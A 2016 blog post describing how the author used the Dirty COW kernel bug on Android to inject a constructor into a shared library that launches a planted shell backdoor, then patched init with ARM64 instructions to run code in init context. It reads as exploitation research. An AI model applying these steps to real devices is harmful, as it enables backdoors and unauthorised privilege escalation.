2016/10/31

Way to Android init with CVE-2016-5195 (Dirty COW)


Thanks to the great findings of CVE-2016-5195, you can check the detail in the link.
Dirty COW vulnerability: https://dirtycow.ninja/
PoC for Android: https://github.com/timwr/CVE-2016-5195

What you can do with the exploit, in short, you can modify arbitrary file if readable.
Well not just that, I'll explain it later.

To gain root privilege, in Linux, you have /etc/passwd, su, while in Android, no su, no mount rw on /system, but with SELINUX.

No su means root privilege is officially blocked, and even with capability to setuid, you can only root at restricted SELINUX context, like u:r:shell:s0.

No mount rw on /system means your modified data will not be written back to disk.
Dirty COW modifies the file mapping in Linux kernel, dirty data sync with disk will be blocked if device mounted read only.

So in Android, you have no decent privilege escalation way, and do not like reboot (kernel reboot).
What about modify services like lkmd, vold, netd which was already running as root.

I chose netd which has network policy granted by SELINUX. Then two problems came: netd is not readable by us and MAYBE you need to restart the process.

First problem is easy to resolve, for these executables are linked with multiple shared libraries like libsysutils.so. You can add function to AOSP code /system/core/libsysutils/src/ and recompile it with mmma command.
With __attribute__((constructor)), your function will be executed at linking.
To be noticed, file size can not be changed by the exploit and data exceed original size will be removed, so you need to trim the size of new so. Mostly a CFLAG -Os can be the key. In my experiment, I roughly made a so only with code below (netd will not function any more):
static void con() __attribute__((constructor));
void con() {
    if (getuid() == 0) {
        char buf[255];
        int fd = open("/proc/self/cmdline",O_RDONLY);
        read(fd, buf, 255);
        if (strstr(buf,"/system/bin/netd")) {
        char * argv[]={"tc",NULL};
        char * envp[]={0,NULL};
        execve("/system/bin/tc",argv,envp);
}
/system/bin/tc is a shell backdoor dirtycowed listening at random port acting like netcat or telnetd. Dirtycow your backdoor into another executable /system/bin which has SELINUX label "u:object_r:system_file:s0". Do not use busybox for some of its code would trigger SELINUX policy.

Second problem, how to execute our modified code? Still need to another vulnerability to crash target process? After experimenting, the answer is NO.
When executing an ELF, Linux kernel maps the ELF into memory. The mapping will be reused when you open the ELF again. When you dirtycow the ELF file, existed ELF process image are changed too. That is to say, Dirty COW CAN MODIFY ANY RUNNING PROCESS IF READABLE. If the process ELF self is not readable, you still can cat /proc/{pid}/maps to find out if its loaded modules readable.

In my experimenting, after dirtycow libsysutil.so, netd soon crashed. The crash reason is SEGMENT FAULT, because CPU suddenly running our code with everything changed. Thanks to Android's watchdog, netd will be restarted.

Now you have the u:r:netd:s0 context, and you can get installd or system_server to control Android framework same way. What about the No.1 process init? Let's figure out what can be done in context u:r:init:s0.

For init, situation is different. We don't have any shared libraries and if init crashed the kernel will reboot. Okay seems have to patch the native code!

Firstly, check the init code, find out where init are running now.
https://android.googlesource.com/platform/system/core/+/master/init/init.cpp#698
That's a while loop. Seems we need to patch code running here.

Secondly, dump the init ELF. It's easy if you already have netd shell. But notice that even netd cannot access internal storage or /data, so use curl to post it out!
Check SimpleHTTPServerWithUpload here: https://gist.github.com/UniIsland/3346170

Then load init into reverse tools and choose an area for our own shellcode which our init would not possible run into it, like stack overflow protector in every functions:
STP             X29, X30, [SP,#-0x10+var_s0]!
ADRP            X0, #aStackCorruptio@PAGE ; "stack corruption detected"
MOV             X29, SP
ADD             X0, X0, #aStackCorruptio@PAGEOFF ; "stack corruption detected"
BL              sub_429678
MOV             X8, #0x24
SVC             0
CMN             X0, #1,LSL#12
CINV            X0, X0, HI
B.HI            loc_42A7DC
RET
Patch the stack cookie check condition instruction in function ExecuteOneCommand (https://android.googlesource.com/platform/system/core/+/master/init/init.cpp#700) to always jump (B) to our "protector":
LDR             X21, [X22,#0xE10]
LDR             X22, [X29,#0x160+var_8]
LDR             X23, [X21]
CMP            X22, X23
B.NE            loc_404558       ; -> B            loc_404558
LDP             X19, X20, [SP,#0x160+var_150]
LDP             X21, X22, [SP,#0x160+var_140]
LDP             X23, X24, [SP,#0x160+var_130]
LDR             X25, [SP,#0x160+var_120]
LDP             X29, X30, [SP+0x160+var_160],#0x160
RET

Well write a full ARM64 shellcode is painful, you need to really careful not letting init crash. After digging, I found valuable functions in static linked init, just like this one:
android_fork_execvp_ext
https://android.googlesource.com/platform/system/core/+/master/logwrapper/logwrap.c#484

You can copy existed android_fork_execvp_ext invoke instructions and modify some offset. (In recent versions, two parameters opts and opts_len added, you can copy latest code and set opts_len to 0)
Try this helpful ARM converter: http://armconverter.com/
STP               X29, X30, [SP, #-0x20]!
MOV             X29, SP
MOV             W0, #1                  ; argc
ADR              X2, aSystemBinTftp_     ;"/system/bin/tftp_server"
STR               X2, [X29, #0x10]
ADD             X1, X29, #0x10          ; argv
ADD             X2, X29, #0x18          ; status
MOV             W3, #1                  ; ignore_int_quit
MOV             W4, W0                 ; log_target
MOV             W5, #0                  ; abbreviated
MOV             X6, #0                   ; file_path
BL                android_fork_execvp_ext
LDP              X29, X30, [SP], #0x20
B                  loc_4044F8
Dirtycow /init in the netd shel, and adb shell setprop service.adb.tcp.port 5555 to continue the while loop in init. If you are lucky enough, you will see a forked process tftp_server running in u:r:init:s0 context. "/system/bin/tftp_server" is dirtycowed with our new shellcode, but socket is SELINUX restricted even running in u:r:init:s0. My implementation reads commands from /sdcard/ and writes output to logcat.
I/tftp_server(    1): pid: 18048, port: 51306
I/tftp_server(    1): selinux_ret: 0
I/tftp_server(    1): command: uid=0(root) gid=0(root) context=u:r:init_shell:s0
I/tftp_server(    1): telnetd/server.c:56: mount: Permission denied
I/tftp_server(    1): tftp_server terminated by exit(1)
What about root? In my device, mount system rw or reload SELINUX policy is restricted, but still has chance like insmod. Unfortunately, the OEM vendor of my phone enforces the kernel module signing and does not discloses the private key.

Any help advance us to root is much appreciated!




没有评论:

Google Pixel modem.img mod for Chinese carriers

Carriers in China like China Telecom was stuck on CSFB mode of 4G NOT globally popular VOLTE mode, so most cell-phones not selling in China ...